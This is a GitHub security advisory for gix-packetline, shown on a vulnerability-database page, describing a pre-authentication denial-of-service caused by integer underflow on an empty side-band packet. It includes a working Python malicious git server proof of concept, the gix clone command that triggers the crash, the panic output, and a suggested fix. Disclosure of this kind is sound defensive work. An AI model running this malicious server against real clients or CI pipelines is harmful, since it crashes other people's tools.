GHSA-2VH6-HW4J-32WW

Vulnerability from github – Published: 2026-08-28 16:09 – Updated: 2026-08-28 16:09
VLAI
Summary
gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)
Details

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

  1. Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
  1. Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-packetline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:09:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.\n\n### Details\nIn `gix-packetline/src/lib.rs`, `impl From\u003c\u0026[u8]\u003e for TextRef` strips a trailing newline with `d[d.len() - 1]`:\nhttps://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199\nWhen `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.\n\n(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)\n\n### PoC\nConfirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.\n\n1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:\n\n```python\nimport socket\nHOST, PORT = \"127.0.0.1\", 9418\ndef pkt(d): return (\"%04x\" % (len(d)+4)).encode() + d\nFLUSH=b\"0000\"; OID=b\"1234567890123456789012345678901234567890\"\ndef handle(c):\n    c.recv(65536)\n    c.sendall(pkt(b\"version 2\\n\")+pkt(b\"agent=git/evil\\n\")+pkt(b\"ls-refs=unborn\\n\")\n              +pkt(b\"fetch=shallow wait-for-done\\n\")+pkt(b\"object-format=sha1\\n\")+FLUSH)\n    buf=b\"\"; sent=False\n    while True:\n        d=c.recv(65536)\n        if not d: return\n        buf+=d\n        if b\"command=ls-refs\" in buf and not sent:\n            c.sendall(pkt(OID+b\" HEAD symref-target:refs/heads/master\\n\")\n                      +pkt(OID+b\" refs/heads/master\\n\")+FLUSH); sent=True; buf=b\"\"; continue\n        if b\"command=fetch\" in buf and (buf.rstrip().endswith(b\"0000\") or b\"done\" in buf):\n            c.sendall(pkt(b\"packfile\\n\") + b\"0005\\x02\")   # band id 2, EMPTY payload\n            try: c.recv(4096)\n            except Exception: pass\n            return\ns=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((HOST,PORT)); s.listen(1); print(\"listening\",PORT)\nconn,_=s.accept(); conn.settimeout(5.0)\ntry: handle(conn)\nfinally: conn.close(); s.close()\n```\n\n2. Point the real client at it:\n```\nRUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out\n```\n\nObserved:\n```\nthread \u0027main\u0027 panicked at gix-packetline/src/lib.rs:199:20:\nindex out of bounds: the len is 0 but the index is 18446744073709551615\nexit code: 101\n```\n### Impact\nA pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.\n\n### Suggested fix\nGuard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b\"\\n\").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(\u0026b\u0027\\n\u0027)` before slicing.",
  "id": "GHSA-2vh6-hw4j-32ww",
  "modified": "2026-08-28T16:09:59Z",
  "published": "2026-08-28T16:09:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/pull/2638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.